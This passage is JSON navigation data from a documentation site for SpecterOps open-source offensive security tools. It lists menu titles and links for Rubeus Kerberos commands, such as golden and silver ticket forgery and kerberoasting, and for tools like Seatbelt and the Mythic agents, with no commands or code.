Management","pages":[{"title":"ptt","icon":"arrow-right-to-bracket","sidebarTitle":"ptt","href":"/ghostpack-docs/Rubeus-mdx/commands/management/ptt"},{"title":"purge","icon":"trash","sidebarTitle":"purge","href":"/ghostpack-docs/Rubeus-mdx/commands/management/purge"},{"title":"describe","icon":"magnifying-glass","sidebarTitle":"describe","href":"/ghostpack-docs/Rubeus-mdx/commands/management/describe"}]},{"group":"Ticket Extraction","pages":[{"title":"triage","icon":"list-check","sidebarTitle":"triage","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/triage"},{"title":"klist","icon":"list","sidebarTitle":"klist","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/klist"},{"title":"dump","icon":"download","sidebarTitle":"dump","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/dump"},{"title":"tgtdeleg","icon":"share","sidebarTitle":"tgtdeleg","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/tgtdeleg"},{"title":"monitor","icon":"eye","sidebarTitle":"monitor","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/monitor"},{"title":"harvest","icon":"scissors","sidebarTitle":"harvest","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/harvest"}]}]},{"group":"Attack Techniques","pages":[{"group":"Credential Attacks","pages":[{"title":"kerberoast","icon":"fire","sidebarTitle":"kerberoast","href":"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast"},{"title":"asreproast","icon":"fire","sidebarTitle":"asreproast","href":"/ghostpack-docs/Rubeus-mdx/commands/roasting/asreproast"}]},{"group":"Delegation Abuse","pages":[{"title":"s4u","description":"Perform S4U constrained delegation abuse for privilege escalation and lateral movement","icon":"arrows-alt","sidebarTitle":"s4u","href":"/ghostpack-docs/Rubeus-mdx/commands/delegation/s4u"}]},{"group":"Ticket Forgery","pages":[{"title":"golden","icon":"crown","sidebarTitle":"golden","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden"},{"title":"silver","description":"Forge silver tickets for specific services using service account credentials","icon":"medal","sidebarTitle":"silver","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/silver"},{"title":"diamond","icon":"gem","sidebarTitle":"diamond","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/diamond"}]}]},{"group":"Miscellaneous","pages":[{"title":"createnetonly","icon":"network-wired","sidebarTitle":"createnetonly","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/createnetonly"},{"title":"changepw","icon":"key","sidebarTitle":"changepw","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/changepw"},{"title":"hash","icon":"hashtag","sidebarTitle":"hash","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/hash"},{"title":"tgssub","icon":"repeat","sidebarTitle":"tgssub","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/tgssub"},{"title":"currentluid","icon":"id-card","sidebarTitle":"currentluid","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/currentluid"},{"title":"logonsession","icon":"users","sidebarTitle":"logonsession","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/logonsession"},{"title":"asrep2kirbi","icon":"arrows-turn-right","sidebarTitle":"asrep2kirbi","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/asrep2kirbi"},{"title":"kirbi","icon":"arrow-right-arrow-left","sidebarTitle":"kirbi","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/kirbi"}]}]},{"tab":"SharpDPAPI","icon":"key","pages":[{"title":"SharpDPAPI","href":"/ghostpack-docs/SharpDPAPI-mdx/overview"}]},{"tab":"SharpUp","icon":"arrow-up","pages":[{"title":"SharpUp","href":"/ghostpack-docs/SharpUp-mdx/overview"}]},{"tab":"SharpWMI","icon":"network-wired","pages":[{"title":"SharpWMI","href":"/ghostpack-docs/SharpWMI-mdx/overview"}]},{"tab":"Seatbelt","icon":"list-check","pages":[{"title":"Seatbelt","href":"/ghostpack-docs/Seatbelt-mdx/overview"}]}]},{"version":"AtlasReaper","pages":[{"title":"AtlasReaper","href":"/atlasreaper-docs/overview"}]},{"version":"Phisherman's Tacklebox","pages":[{"title":"Phisherman's Tacklebox","href":"/cuddlephish-docs/overview"}]},{"version":"Merlin","pages":[{"title":"Merlin","href":"/merlin-docs/introduction"}]},{"version":"Mythic Agents","pages":[{"title":"Mythic Agents","href":"/mythic-agents"}]},{"version":"Mythic Agent: Apollo","pages":[{"title":"Mythic Agent: Apollo","href":"/mythic-agents/apollo-docs/documentation-payload/apollo/_index"}]},{"version":"Mythic Agent: Poseidon","pages":[{"title":"Mythic Agent: Poseidon","href":"/mythic-agents/poseidon-docs/home"}]},{"version":"Mythic Agent: Apfell","pages":[{"title":"Mythic Agent: Apfell","href":"/mythic-agents/apfell-docs/home"}]},{"version":"Mythic Agent: Arachne","pages":[{"title":"Mythic Agent: Arachne","href":"/mythic-agents/arachne-docs/home"}]},{"version":"Mythic Agent: Bloodhound","pages":[{"title":"Mythic Agent: Bloodhound","href":"/mythic-agents/bloodhound-agent-docs/home"}]},{"version":"Mythic Agent: Nemesis","pages":[{"title":"Mythic Agent: Nemesis","href":"/mythic-agents/nemesis-agent-docs/home"}]},{"version":"Mythic Agent: Ghostwriter","pages":[{"title":"Mythic Agent: Ghostwriter","href":"/mythic-agents/ghostwriter-agent-docs/home"}]},{"version":"Mythic Agent: Sage","pages":[{"title":"Mythic Agent: Sage","href":"/mythic-agents/sage-docs/home"}]},{"version":"Mythic Agent: Forge","pages":[{"title":"Mythic Agent: Forge","href":"/mythic-agents/forge-docs/home"}]},{"version":"Mythic Agent: Merlin","pages":[{"title":"Mythic Agent: Merlin","href":"/mythic-agents/merlin-agent-docs/home"}]}]},"basePath":"","title":"golden - SpecterOps Open Source","deploymentId":"dpl_4dgnk6TA5fUgboKHTvWWyeqm3idh","buildId":"dpl_4dgnk6TA5fUgboKHTvWWyeqm3idh","dynamics":[],"chunks":[]}